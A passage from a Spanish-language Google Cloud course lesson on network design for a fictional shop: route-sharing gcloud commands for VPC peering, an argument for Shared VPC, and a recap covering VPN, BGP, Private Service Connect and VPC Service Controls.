gcloud compute networks peerings update datos-hacia-red \
  --network=vpc-datos --import-custom-routes --project=alpinashop-datos

gcloud compute routers update alpinashop-router-euw1 \
  --region=europe-west1 --advertisement-mode=custom \
  --set-advertisement-groups=all-subnets \
  --set-advertisement-ranges=10.30.0.0/16=vpc-datos \
  --project=alpinashop-red

Funciona, pero deja una topología que hay que recordar y documentar, y que se romperá la próxima vez que alguien añada una red.

Camino 2 — La solución correcta: eliminar el emparejamiento. alpinashop-datos es un proyecto propio de AlpinaShop, en la misma organización. No debería tener VPC propia emparejada: debería ser un proyecto de servicio de la VPC compartida. En cuanto lo sea, sus recursos estarán en alpinashop-vpc, verán las rutas de la VPN como cualquier otro recurso, y el problema desaparece sin configurar nada.

Esta es la lección del ejercicio, y del apartado 6: el emparejamiento se usa cuando la otra red es de otro. Emparejar redes propias dentro de la misma organización crea trabajo permanente para resolver problemas que la VPC compartida no tiene. Si te encuentras exportando rutas personalizadas entre dos VPC tuyas, es que elegiste la herramienta equivocada.

Conclusión

La red de AlpinaShop ha pasado de ser una VPC en un proyecto a ser una plataforma de red diseñada.

Sabes reconocer cuándo una VPC deja de bastar por sus siete señales, y sabes que lo primero —antes de tocar nada— es el plan de direccionamiento, con su regla inviolable: dos rangos que puedan llegar a conectarse alguna vez no pueden solaparse. Con las decisiones que lo hacen duradero: un /16 por región con el segundo octeto como identificador, esquema idéntico entre regiones, reservas para lo que aún no existe, y rangos prohibidos explícitamente —172.16.0.0/12 por Docker, 169.254.0.0/16 por BGP, y los "obvios" reservados para el día que compres una empresa.

Dominas la VPC compartida: proyecto host propio y casi vacío en la carpeta compartido, proyectos de servicio que aportan cómputo y facturación, y los dos roles que lo gobiernan — compute.xpnAdmin para vincular proyectos, concedido en la carpeta y no en la organización, y compute.networkUser concedido sobre la subred concreta, que es donde está la mitad del valor del modelo. Con el permiso del agente serverless-robot-prod que nadie adivina, y con la verdad incómoda de que una VM no se migra de red: se recrea.

Distingues el emparejamiento con sus tres limitaciones —no es transitivo, los rangos no pueden solaparse, las cuotas se agregan— y sabes que --export-custom-routes está desactivado por defecto y es la causa número uno de "está emparejado pero no llego". Tienes la tabla de decisión con su regla: proyectos míos y una sola red que gobernar → compartida; red de otro → emparejamiento; más de cinco redes y sedes → Network Connectivity Center y su topología radial.

Conoces Private Service Connect en sus tres usos: extremos con IP tuya hacia las APIs de Google —que a diferencia de Private Google Access sí funcionan desde el otro lado del túnel—, consumo de servicios de terceros sin compartir redes ni rangos, y publicación de los tuyos. Y sabes por qué ha sustituido al emparejamiento como forma estándar de conectar con socios.

Has conectado la tienda de Sabadell de verdad: la tabla de las tres opciones híbridas con ancho de banda, latencia, SLA, coste y plazo, la elección razonada de Cloud VPN HA para kilobytes de stock, y la implementación completa —pasarela con dos interfaces, pasarela externa, Cloud Router con ASN, dos túneles con IKEv2 y secreto en Secret Manager, dos sesiones BGP con prioridades 100 y 200, firewall y verificación—. Entiendes el BGP de verdad: ASN, rutas anunciadas y aprendidas, prioridades, y por qué el dinámico gana al estático en cuanto haya más de una subred. Y sabes que numLearnedRoutes: 0 con el túnel ESTABLISHED significa que el problema no es tuyo.

Sabes gobernar el anuncio de rutas con --advertisement-mode=custom, incluido el rango de acceso a servicios privados sin el cual Cloud SQL es inalcanzable desde la sede aunque todo parezca correcto, y conoces los cinco errores clásicos de enrutamiento con su síntoma y su remedio.

Has levantado un perímetro de VPC Service Controls que responde al riesgo real: unas credenciales filtradas ya no pueden sacar los datos, porque IAM autoriza pero el perímetro no deja cruzar la frontera. Con niveles de acceso, --dry-run como paso no negociable, la tabla de lo que se rompe habitualmente, y la advertencia doble: nunca un viernes, y que lo revise un profesional de seguridad y cumplimiento antes de producción.

Sabes diagnosticar en lugar de suponer: pruebas de conectividad que devuelven NO_ROUTE con la causa exacta, topología, analizador de firewall y Flow Logs con muestreo. Has seguido un fallo real de principio a fin —túnel arriba, BGP arriba, cero rutas aprendidas, firmware restaurado en Sabadell— y has visto lo que se cambia después: alertas sobre numLearnedRoutes, sobre el estado de los túneles, y sobre la frescura del stock, porque la detección la seguía haciendo un humano tres horas tarde.

Y conoces los niveles Premium y Estándar, y sobre todo dónde se esconde la factura del tráfico: la entrada es gratis, la salida se paga, y el tráfico entre zonas —que casi nadie mira— aparece en cuanto hay alta disponibilidad. Con los cuatro escondites clásicos y las tres palancas: CDN, colocación y compresión.

Ese último apartado es el puente. Esta lección ha dejado ver una parte de la factura que nadie estaba mirando, y no es la única: han pasado siete módulos añadiendo servicios —VM, buckets, BigQuery, Dataflow, un clúster, endpoints de Vertex AI, logs, trazas, ahora túneles y Flow Logs— y nadie ha abierto la factura entera y la ha entendido línea a línea.

Antes de eso queda algo con más urgencia. Se ha construido seguridad en cada módulo: firewall en 03-01, WAF en 03-05, IAM en 03-04, secretos y CMEK en 03-06, TLS en 03-07, ahora perímetros. Pero nunca se ha mirado el conjunto. La siguiente lección hace justo eso: revisa la seguridad de AlpinaShop capa por capa, de la identidad a la detección, y escribe honestamente la deuda que queda.

Curso de Google Cloud Platform (GCP)

Módulo 1: Introducción a Google Cloud Platform

Módulo 2: Servicios principales de GCP

Módulo 3: Redes y seguridad

Módulo 4: Datos y análisis

Módulo 5: Aprendizaje automático e IA

Módulo 6: DevOps y monitoreo

Módulo 7: Temas avanzados de GCP

Módulo 8: Proyecto final

© Copyright 2026. Todos los derechos reservados